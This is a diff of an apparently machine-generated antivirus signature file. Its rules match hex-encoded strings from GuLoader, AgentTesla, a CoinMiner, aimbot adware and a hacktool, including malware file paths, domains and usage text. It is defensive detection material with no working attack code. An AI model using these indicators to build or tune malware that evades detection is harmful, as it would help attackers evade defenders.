4d 54 42 00 01 00 15 81 01 5c 6b 6d 6d 65 73 5c 70 65 74 72 65 61 73 5c 42 65 6d 67 65 74 01 00 17 81 01 5c 61 61 6e 64 73 73 76 61 67 68 65 64 65 72 6e 65 5c 2a 2e 65 } //18467 + $a_00_1 = {19 } //25976 + $a_76_2 = {6e 64 66 61 73 74 68 65 64 5c 73 65 63 72 65 74 6c 79 2e 6c 6e 6b 01 00 23 81 01 5c 63 68 61 7a 7a 65 6e 69 6d 5c 75 6e 64 6c 61 64 65 6c 73 65 73 73 79 6e 64 65 72 6e 65 73 2e 7a 69 70 01 00 0d 81 01 43 61 75 73 65 6c 69 73 74 2e 74 78 74 01 00 0b 81 01 44 64 6b 65 64 65 72 } //385 + $a_74_3 = {00 10 81 01 45 76 61 6e 67 65 6c 69 65 72 6e 65 2e 62 65 72 01 00 18 81 01 70 72 65 73 73 65 6d 65 64 64 65 6c 65 6c 73 65 72 6e 65 73 2e 70 72 6f 01 00 15 81 01 73 6b 6a 61 6c 64 65 64 69 67 74 6e 69 6e 67 65 6e 2e 6a 70 67 01 00 0f 81 01 76 6b 73 74 70 72 6f 63 65 6e 74 2e 6a 70 67 00 00 78 2b 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //29742 + $a_6e_4 = {32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 47 21 4d 54 42 00 01 00 11 81 01 5c 55 6f 72 67 61 6e 69 73 65 72 65 74 2e 7a 69 70 01 00 0f 81 01 5c 70 68 61 6e 74 6f 6d 69 73 74 2e 74 78 74 01 00 0f 81 01 5c 56 69 74 72 69 6f 6c 65 72 73 2e 69 6e 69 01 00 16 81 01 5c 6b 61 72 64 69 6e 61 6c 69 74 65 74 65 72 6e 65 73 2e } //22330 + $a_01_5 = {00 15 81 01 5c 4a 61 6b 6f 62 73 73 74 69 67 65 72 73 32 33 30 2e 67 69 66 01 00 19 81 01 5c 44 75 63 6b 62 69 6c 6c 73 31 31 36 5c 4b 61 6c 61 73 69 65 2e 69 6e 69 01 00 19 81 01 5c 76 69 6c 6d 65 72 5c 6d 75 73 63 75 6c 6f 73 70 69 72 61 6c 2e 7a 69 70 01 00 0f 81 01 5c 62 6f 72 74 6b 6f 6d 6e 65 73 2e 65 78 65 01 00 19 81 01 } //26978 + $a_73_6 = {65 72 69 69 6e 74 65 72 65 73 73 65 72 6e 65 73 2e 69 6e 69 01 00 18 81 01 74 69 6c 73 74 72 61 6e 73 70 6f 72 74 65 72 65 6e 64 65 73 2e 6a 70 67 00 00 78 2b 01 00 0f 00 0f 00 0a 00 21 23 48 53 54 52 3a 46 6f 72 73 70 61 72 66 2e 49 31 00 04 00 1e 01 66 00 70 00 73 00 6d 00 6f 00 64 00 7a 00 2e 00 6e 00 65 00 74 } //18012 + $a_00_8 = {04 00 18 01 61 00 64 00 73 00 63 00 6c 00 69 00 63 00 6b 00 2e 00 65 00 78 00 65 00 02 00 12 01 41 00 69 00 6d 00 62 00 6f 00 74 00 20 00 43 00 46 00 02 00 12 01 5b 00 48 00 41 00 43 00 4b 00 20 00 43 00 46 00 5d 00 02 00 18 01 6b 00 65 00 79 00 2d 00 61 00 69 00 6d 00 62 00 6f 00 74 00 63 00 66 00 02 00 16 01 6d 00 69 00 6e 00 69 00 } //105 + $a_00_9 = {73 00 2e 00 65 00 78 00 65 00 02 00 1c 01 72 00 75 00 6e 00 61 00 64 00 73 00 6d 00 69 00 6e 00 69 00 2e 00 65 00 78 00 65 00 02 00 10 03 66 63 66 64 78 74 40 90 02 08 2e 63 6f 6d 90 00 01 00 18 01 4f 00 6e 00 65 00 48 00 69 00 74 00 43 00 46 00 2e 00 43 00 6f 00 6d 00 01 00 1c 01 63 00 2e 00 61 00 } //97 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25976+(#a_76_2 & 1)*385+(#a_74_3 & 1)*29742+(#a_6e_4 & 1)*22330+(#a_01_5 & 1)*26978+(#a_73_6 & 1)*18012+(#a_00_8 & 1)*105+(#a_00_9 & 1)*97) >=10 + +} +rule _InfrastructureShared_18502{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 47 21 4d 54 42 00 01 00 11 81 01 5c 55 6f 72 67 61 6e 69 73 65 72 65 74 2e 7a 69 70 01 00 0f 81 01 5c 70 68 61 6e 74 6f 6d 69 73 74 2e 74 78 74 01 00 0f 81 01 5c 56 69 74 72 } //18467 + $a_65_1 = {73 2e 69 6e 69 01 00 16 81 01 5c 6b 61 72 64 69 6e 61 6c 69 74 65 74 65 72 6e 65 73 2e 62 69 6e 01 00 15 81 01 5c 4a 61 6b 6f 62 73 73 74 69 67 65 72 73 32 33 30 2e 67 69 66 01 00 19 81 01 5c 44 75 63 6b 62 69 6c 6c 73 31 31 36 5c 4b 61 6c 61 73 69 65 2e 69 6e 69 01 00 19 81 01 5c 76 69 6c 6d 65 72 5c 6d 75 73 63 75 6c 6f } //28521 + $a_72_2 = {6c 2e 7a 69 70 01 00 0f 81 01 5c 62 6f 72 74 6b 6f 6d 6e 65 73 2e 65 78 65 01 00 19 81 01 5c 46 69 73 6b 65 72 69 69 6e 74 65 72 65 73 73 65 72 6e 65 73 2e 69 6e 69 01 00 18 81 01 74 69 6c 73 74 72 61 6e 73 70 6f 72 74 65 72 65 6e 64 65 73 2e 6a 70 67 00 00 78 2b 01 00 0f 00 0f 00 0a 00 21 23 48 53 54 52 3a 46 6f } //28787 + $a_61_3 = {66 2e 49 31 00 04 00 1e 01 66 00 70 00 73 00 6d 00 6f 00 64 00 7a 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 69 00 70 00 04 00 18 01 61 00 64 00 73 00 63 00 6c 00 69 00 63 00 6b 00 2e 00 65 00 78 00 65 00 02 00 12 01 41 00 69 00 6d 00 62 00 6f 00 74 00 20 00 43 00 46 00 02 00 12 01 5b 00 48 00 41 00 43 00 4b 00 20 00 43 00 46 00 5d 00 02 } //29554 + $a_6b_4 = {65 } //6144 e + $a_00_6 = {6d 00 62 00 6f 00 74 00 63 00 66 00 02 00 16 01 6d 00 69 00 6e 00 69 00 61 00 64 00 73 00 2e 00 65 00 78 00 65 00 02 00 1c 01 72 00 75 00 6e 00 61 00 64 00 73 00 6d 00 69 00 6e 00 69 00 2e 00 65 00 78 00 65 00 02 00 10 03 66 63 66 64 78 74 40 90 02 08 2e 63 6f 6d 90 00 01 00 18 01 4f 00 6e 00 65 00 48 00 69 00 74 } //97 + $a_00_8 = {6f 00 6d 00 01 00 1c 01 63 00 2e 00 61 00 69 00 6d 00 62 00 6f 00 74 00 63 00 66 00 2e 00 6e 00 65 00 74 00 00 00 78 2b 01 00 0f 00 0f 00 0f 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //46 + $a_79_9 = {6f 6f 6e 2e 52 52 48 32 33 30 36 5f 32 21 4d 54 42 00 01 00 0d 01 6c 6a 63 7a 63 73 69 75 69 6b 6b 78 7a 01 00 0e 01 77 64 79 70 6c 61 66 63 65 78 66 6e 63 6b 01 00 0a 01 69 74 79 6d 6d 72 69 6e 72 6b 01 00 0d 01 61 78 78 66 63 6e 7a 67 6f 75 6b 72 73 01 00 0c 01 6c 72 67 63 65 63 6b 79 79 76 62 62 01 00 0a 01 71 63 6a 63 70 79 6b 67 } //21295 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28521+(#a_72_2 & 1)*28787+(#a_61_3 & 1)*29554+(#a_6b_4 & 1)*6144+(#a_00_6 & 1)*97+(#a_00_8 & 1)*46+(#a_79_9 & 1)*21295) >=10 + +} +rule _InfrastructureShared_18503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0a 00 21 " @@ -207260,7 +220996,7 @@ rule _InfrastructureShared_17370{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*109+(#a_00_2 & 1)*100+(#a_6a_3 & 1)*29268+(#a_6a_5 & 1)*28929+(#a_00_6 & 1)*10100+(#a_72_7 & 1)*27393+(#a_00_8 & 1)*66+(#a_01_9 & 1)*-28561) >=15 } -rule _InfrastructureShared_17371{ +rule _InfrastructureShared_18504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -207284,7 +221020,7 @@ rule _InfrastructureShared_17371{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27506+(#a_78_2 & 1)*24833+(#a_65_3 & 1)*17210+(#a_54_4 & 1)*8502+(#a_12_5 & 1)*4865+(#a_09_6 & 1)*1801+(#a_6f_7 & 1)*2560+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_2b_14 & 1)*0) >=15 } -rule _InfrastructureShared_17372{ +rule _InfrastructureShared_18505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -207300,7 +221036,7 @@ rule _InfrastructureShared_17372{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*256+(#a_6d_2 & 1)*20089+(#a_90_3 & 1)*257+(#a_01_4 & 1)*30720+(#a_4d_5 & 1)*21587+(#a_4c_6 & 1)*4096) >=16 } -rule _InfrastructureShared_17373{ +rule _InfrastructureShared_18506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -207317,7 +221053,7 @@ rule _InfrastructureShared_17373{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28531+(#a_01_2 & 1)*-29301+(#a_73_3 & 1)*28774+(#a_53_4 & 1)*12800+(#a_5c_5 & 1)*17748+(#a_54_6 & 1)*28527+(#a_01_7 & 1)*1) >=17 } -rule _InfrastructureShared_17374{ +rule _InfrastructureShared_18507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -207332,7 +221068,7 @@ rule _InfrastructureShared_17374{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*16716+(#a_76_2 & 1)*25939+(#a_00_4 & 1)*1+(#a_23_5 & 1)*11+(#a_35_6 & 1)*25601) >=1 } -rule _InfrastructureShared_17375{ +rule _InfrastructureShared_18508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -207350,7 +221086,7 @@ rule _InfrastructureShared_17375{ ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*-1663+(#a_00_2 & 1)*45+(#a_00_3 & 1)*19961+(#a_8f_4 & 1)*400+(#a_00_5 & 1)*11384+(#a_54_7 & 1)*8448+(#a_24_8 & 1)*-30436+(#a_00_10 & 1)*-29952) >=2 } -rule _InfrastructureShared_17376{ +rule _InfrastructureShared_18509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -207362,20 +221098,35 @@ rule _InfrastructureShared_17376{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*12+(#a_10_2 & 1)*-31907) >=3 } -rule _InfrastructureShared_17377{ +rule _InfrastructureShared_18510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_70_0 = {43 6f 69 6e 4d 69 6e 65 72 3a 55 66 61 73 6f 66 74 00 01 00 5f 00 2d 41 20 75 73 65 72 2d 61 67 65 6e 74 20 20 20 20 20 20 20 53 65 74 20 63 75 73 74 6f 6d 20 55 73 65 72 2d 61 67 65 6e 74 20 73 74 72 69 6e 67 20 69 6e 20 48 54 54 50 20 68 65 61 64 65 72 2c 20 64 65 66 61 75 6c 74 3a 20 55 66 61 73 6f 66 74 20 62 69 74 63 6f 69 6e 20 } //16675 $a_65_1 = {01 00 13 00 3a 2f 2f 75 66 61 73 6f 66 74 2e 63 6f 6d 2f 63 6f 69 6e 01 00 7c 02 69 6e 20 66 6f 72 6d 20 68 74 74 70 3a 2f 2f 75 73 65 72 90 03 04 00 6e 61 6d 65 3a 70 61 73 73 77 6f 72 64 40 73 65 72 76 65 72 2e 74 6c 64 3a 70 6f 72 74 2f 70 61 74 68 2c 20 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 73 65 72 76 65 72 2e 74 6c 64 } //26989 - $a_72_2 = {2c 20 62 79 20 64 65 66 61 75 6c 74 20 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 33 33 32 90 00 01 00 0e 00 63 6f 69 6e 2d 6d 69 6e 65 72 2e 65 78 65 00 00 78 2c 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 } //28730 - $a_5f_3 = {68 61 72 65 73 5f 54 61 72 67 65 00 01 00 39 03 53 65 6c 65 63 74 20 2a 20 66 72 6f 6d 20 57 69 6e 33 32 5f 53 68 61 72 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 } //12658 + $a_72_2 = {2c 20 62 79 20 64 65 66 61 75 6c 74 20 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 33 33 32 90 00 01 00 0e 00 63 6f 69 6e 2d 6d 69 6e 65 72 2e 65 78 65 00 00 78 2c 01 00 03 00 03 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 68 72 6f 6e 6f 73 50 75 6b 65 64 2e 42 21 64 68 61 00 01 00 31 01 75 } //28730 + $a_65_3 = {20 25 73 20 4d 53 31 20 3c 4f 72 69 67 69 6e 46 69 6c 65 3e 20 20 3c 4e 65 77 53 69 7a 65 3e 20 3c 4e 65 77 46 69 6c 65 3e 20 0a 01 00 32 01 75 73 61 67 65 3a 20 25 73 20 4d 53 32 20 3c 4f 72 69 67 69 6e 46 69 6c 65 3e 20 3c 50 75 70 70 65 74 46 69 6c 65 3e 20 3c 4e 65 77 46 69 6c 65 3e 0a 01 00 25 01 75 73 } //24947 condition: - ((#a_70_0 & 1)*16675+(#a_65_1 & 1)*26989+(#a_72_2 & 1)*28730+(#a_5f_3 & 1)*12658) >=3 + ((#a_70_0 & 1)*16675+(#a_65_1 & 1)*26989+(#a_72_2 & 1)*28730+(#a_65_3 & 1)*24947) >=3 } -rule _InfrastructureShared_17378{ +rule _InfrastructureShared_18511{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 43 68 72 6f 6e 6f 73 50 75 6b 65 64 2e 42 21 64 68 61 00 01 00 31 01 75 73 61 67 65 3a 20 25 73 20 4d 53 31 20 3c 4f 72 69 67 69 6e 46 69 6c 65 3e 20 20 3c 4e 65 77 53 69 7a 65 3e 20 } //16675 + $a_77_1 = {69 6c 65 3e 20 0a 01 00 32 01 75 73 61 67 65 3a 20 25 73 20 4d 53 32 20 3c 4f 72 69 67 69 6e 46 69 6c 65 3e 20 3c 50 75 70 70 65 74 46 69 6c 65 3e 20 3c 4e 65 77 46 69 6c 65 3e 0a 01 00 25 01 75 73 61 67 65 3a 20 25 73 20 4d 54 31 20 3c 4f 72 69 67 69 6e 46 69 6c 65 3e 20 3c 4e 65 77 54 69 6d 65 3e 0a } //20028 + $a_01_2 = {75 73 61 67 65 3a 20 25 73 20 4d 54 32 20 3c 4f 72 69 67 69 6e 46 69 6c 65 3e 20 3c 50 75 70 70 65 74 46 69 6c 65 3e 0a } //1 + $a_01_3 = {4f 72 67 69 6e 46 69 6c 65 20 53 69 7a 65 20 3e 3d 20 4e 65 77 20 53 69 7a 65 } //1 OrginFile Size >= New Size + $a_01_4 = {4f 72 67 69 6e 46 69 6c 65 3a 25 73 2d 2d 2d 2d 53 69 7a 65 3a 20 25 6c 64 0a } //1 + $a_2c_5 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 45 71 75 61 74 69 6f 6e 47 72 6f 75 70 5f 54 6f 6f 6c 73 65 74 5f 41 70 72 31 37 5f 53 68 61 72 65 73 5f 54 61 72 67 65 00 01 00 39 03 53 65 6c 65 63 74 20 2a 20 66 72 6f 6d 20 57 69 6e 33 32 5f 53 68 61 72 65 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_77_1 & 1)*20028+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_2c_5 & 1)*0) >=3 + +} +rule _InfrastructureShared_18512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207388,7 +221139,7 @@ rule _InfrastructureShared_17378{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*13166+(#a_00_2 & 1)*108+(#a_00_3 & 1)*144) >=4 } -rule _InfrastructureShared_17379{ +rule _InfrastructureShared_18513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207401,7 +221152,7 @@ rule _InfrastructureShared_17379{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*5663+(#a_16_2 & 1)*-490+(#a_90_3 & 1)*11616) >=4 } -rule _InfrastructureShared_17380{ +rule _InfrastructureShared_18514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -207413,7 +221164,7 @@ rule _InfrastructureShared_17380{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*68+(#a_6e_3 & 1)*22528) >=5 } -rule _InfrastructureShared_17381{ +rule _InfrastructureShared_18515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -207427,7 +221178,7 @@ rule _InfrastructureShared_17381{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*7945+(#a_61_2 & 1)*4497+(#a_11_3 & 1)*4364+(#a_20_4 & 1)*4360) >=5 } -rule _InfrastructureShared_17382{ +rule _InfrastructureShared_18516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -207441,7 +221192,7 @@ rule _InfrastructureShared_17382{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1419+(#a_40_2 & 1)*-6075+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_17383{ +rule _InfrastructureShared_18517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -207453,7 +221204,7 @@ rule _InfrastructureShared_17383{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*46+(#a_00_4 & 1)*87) >=5 } -rule _InfrastructureShared_17384{ +rule _InfrastructureShared_18518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -207469,7 +221220,7 @@ rule _InfrastructureShared_17384{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*385+(#a_64_2 & 1)*31318+(#a_57_3 & 1)*-32498+(#a_2e_4 & 1)*29029+(#a_73_6 & 1)*29185+(#a_65_7 & 1)*385) >=6 } -rule _InfrastructureShared_17385{ +rule _InfrastructureShared_18519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -207485,7 +221236,7 @@ rule _InfrastructureShared_17385{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27756+(#a_74_2 & 1)*29281+(#a_61_3 & 1)*28530+(#a_01_4 & 1)*26210+(#a_6c_6 & 1)*385+(#a_49_7 & 1)*19770) >=8 } -rule _InfrastructureShared_17386{ +rule _InfrastructureShared_18520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -207495,14 +221246,14 @@ rule _InfrastructureShared_17386{ $a_6c_2 = {63 6b 43 6f 70 79 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 05 81 01 53 6c 65 65 70 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 1e 81 01 43 6f 6e 66 75 } //385 $a_2e_3 = {6f 72 65 20 31 2e 36 2e 30 2b 34 34 37 33 34 31 39 36 34 66 00 00 78 2c 01 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 45 32 32 32 21 4d 54 42 00 0a 00 f6 03 11 05 8e 69 8d 16 00 00 01 13 02 20 00 00 00 00 7e b3 09 00 04 7b 91 09 00 04 3a ab ff ff ff 26 20 09 00 00 } //25971 $a_ff_4 = {ff 28 90 01 04 13 05 20 05 00 00 00 38 8f ff ff ff 11 02 13 06 20 07 00 00 00 38 81 ff ff ff 11 07 11 05 8e 69 3c e7 ff ff ff 20 06 00 00 00 38 6c ff ff ff 14 13 05 20 04 00 00 00 38 5f ff ff ff 38 d9 ff ff ff 20 0a 00 00 00 38 50 ff ff ff 11 07 17 58 13 07 20 02 00 00 00 38 40 ff ff ff 11 02 11 07 11 05 11 07 91 11 00 11 07 11 00 6f 90 01 04 5d 28 90 01 04 61 d2 9c 20 08 00 00 00 38 19 ff ff ff 38 d4 ff ff ff 20 01 00 00 00 7e b3 09 00 04 7b 8a 09 00 04 3a 00 ff ff ff 26 20 } //14336 - $a_ff_6 = {16 13 07 20 00 00 00 00 7e b3 09 00 04 7b a7 09 00 04 39 de fe ff ff 26 20 00 00 00 00 38 d3 fe ff ff 90 00 00 00 78 2c 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 4a 31 32 33 21 4d 54 42 00 01 00 15 81 01 5c 63 61 64 6d 69 75 6d 69 7a 65 5c 50 72 65 66 72 6f 7a 65 6e 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 53 79 6e 64 72 6f 6d 65 31 34 32 5c 42 6f 6d 75 6c 64 73 67 61 72 6e 32 32 38 01 00 15 81 01 53 6f 66 74 77 61 72 65 5c 73 6b 72 61 61 73 69 6b 6b 65 72 74 01 00 28 81 01 25 65 6b 73 70 61 74 72 69 65 72 69 6e 67 65 72 6e 65 25 5c 76 6f 72 74 65 73 76 69 6e 65 74 5c 64 65 64 6f 2e 50 79 74 01 00 11 81 01 62 72 65 76 6f 72 64 6e 65 72 6e 65 73 2e 6d 61 6d 01 00 0d 81 01 75 6e 68 75 72 74 69 6e } //-2760 - $a_72_7 = {01 00 0b 81 01 67 65 6d 69 6e 69 64 2e 65 6e 6f 01 00 0a 81 01 6d 65 6e 67 77 65 2e 73 75 70 01 00 0a 81 01 66 69 73 68 65 72 2e 72 65 67 01 00 0f 81 01 63 6f 6c 75 6d 6e 69 7a 69 6e 67 2e 64 61 6e 01 00 0a 81 01 63 75 6e 6e 65 72 2e 6e 6f 6e 00 00 78 2c 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //11879 - $a_6e_8 = {54 65 73 6c 61 2e 4f 58 48 58 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 } //26433 + $a_ff_6 = {16 13 07 20 00 00 00 00 7e b3 09 00 04 7b a7 09 00 04 39 de fe ff ff 26 20 00 00 00 00 38 d3 fe ff ff 90 00 00 00 78 2c 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 59 21 4d 54 42 00 01 00 1d 81 01 5c 73 79 73 74 65 6d 73 74 79 72 69 6e 67 5c 4c 6c 65 74 31 35 38 5c 6c 69 62 6b 69 6e 01 00 16 81 01 5c 61 64 65 73 73 65 6e 61 72 69 61 6e 5c 76 69 64 65 2e 6a 70 67 01 00 14 81 01 5c 4c 79 6d 70 68 6f 64 65 72 6d 69 61 31 31 35 2e 69 6e 69 01 00 14 81 01 5c 42 65 62 72 65 6a 64 65 6c 73 65 72 31 32 30 2e 6c 6e 6b 01 00 10 81 01 5c 72 61 64 69 6f 6d 65 74 72 65 73 2e 65 78 65 01 00 11 81 01 5c 4e 6f 6e 64 65 61 66 65 6e 69 6e 67 2e 65 78 65 01 00 10 81 01 41 65 72 6f 6e 65 75 72 6f 73 } //-2760 + $a_69_7 = {69 01 00 0e 81 01 43 68 61 6e 6e 65 6c 69 7a 65 2e 6a 70 67 01 00 18 81 01 5c 50 61 6c 6f 6c 6f 31 30 30 5c 67 74 65 73 65 6e 67 65 6e 2e } //29545 + $a_01_8 = {00 1b 81 01 5c 74 65 6d 70 65 72 6c 65 73 73 5c 77 69 6e 74 65 72 74 69 6d 65 73 2e 65 78 65 00 00 78 2c 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 4a 31 32 33 21 4d 54 42 00 01 00 15 81 01 5c 63 61 64 6d 69 75 6d 69 7a 65 5c 50 72 65 66 72 6f 7a 65 6e 01 00 23 81 01 53 6f } //26978 condition: - ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*25395+(#a_6c_2 & 1)*385+(#a_2e_3 & 1)*25971+(#a_ff_4 & 1)*14336+(#a_ff_6 & 1)*-2760+(#a_72_7 & 1)*11879+(#a_6e_8 & 1)*26433) >=9 + ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*25395+(#a_6c_2 & 1)*385+(#a_2e_3 & 1)*25971+(#a_ff_4 & 1)*14336+(#a_ff_6 & 1)*-2760+(#a_69_7 & 1)*29545+(#a_01_8 & 1)*26978) >=9 } -rule _InfrastructureShared_17387{ +rule _InfrastructureShared_18521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -207512,7 +221263,26 @@ rule _InfrastructureShared_17387{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_17388{ +rule _InfrastructureShared_18522{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 59 21 4d 54 42 00 01 00 1d 81 01 5c 73 79 73 74 65 6d 73 74 79 72 69 6e 67 5c 4c 6c 65 74 31 35 38 5c 6c 69 62 6b 69 6e 01 00 16 81 01 5c 61 64 65 73 73 65 6e 61 72 69 61 6e } //18467 + $a_64_1 = {2e 6a 70 67 01 00 14 81 01 5c 4c 79 6d 70 68 6f 64 65 72 6d 69 61 31 31 35 2e 69 6e 69 01 00 14 81 01 5c 42 65 62 72 65 6a 64 65 6c 73 65 72 31 32 30 2e 6c 6e 6b 01 00 10 81 01 5c 72 61 64 69 6f 6d 65 74 72 65 73 2e 65 78 65 01 00 11 81 01 5c 4e 6f 6e 64 65 61 66 65 6e 69 6e 67 2e 65 78 65 01 00 10 81 01 41 65 72 } //30300 + $a_75_2 = {6f 73 69 73 2e 69 6e 69 01 00 0e 81 01 43 68 61 6e 6e 65 6c 69 7a 65 2e 6a 70 67 01 00 18 81 01 5c 50 61 6c 6f 6c 6f 31 30 30 5c 67 74 65 73 65 6e 67 65 6e 2e 62 69 6e 01 00 1b 81 01 5c 74 65 6d 70 65 72 6c 65 73 73 5c 77 69 6e 74 65 72 74 69 6d 65 73 2e 65 78 65 00 00 78 2c 01 00 0b 00 0b 00 0b 00 21 } //28271 + $a_54_3 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 59 4a 31 32 33 21 4d 54 42 00 01 00 15 81 01 5c 63 61 64 6d 69 75 6d 69 7a 65 5c 50 72 65 66 72 6f 7a 65 6e 01 00 23 81 01 53 6f 66 74 77 61 72 65 5c 53 79 6e 64 72 6f 6d 65 31 34 32 5c 42 6f 6d } //18467 + $a_73_4 = {61 72 6e 32 32 38 01 00 15 81 01 53 6f 66 74 77 61 72 65 5c 73 6b 72 61 61 73 69 6b 6b 65 72 74 01 00 28 81 01 25 65 6b 73 70 61 74 72 69 65 72 69 6e 67 65 72 6e 65 25 5c 76 6f 72 74 65 73 76 69 6e 65 74 5c 64 65 64 6f 2e 50 79 74 01 00 11 81 01 62 72 65 76 6f 72 64 6e 65 72 6e 65 73 2e 6d 61 6d 01 } //27765 + $a_01_5 = {75 6e 68 75 72 74 69 6e 67 2e 70 72 6f 01 00 0b 81 01 67 65 6d 69 6e 69 64 2e 65 6e 6f 01 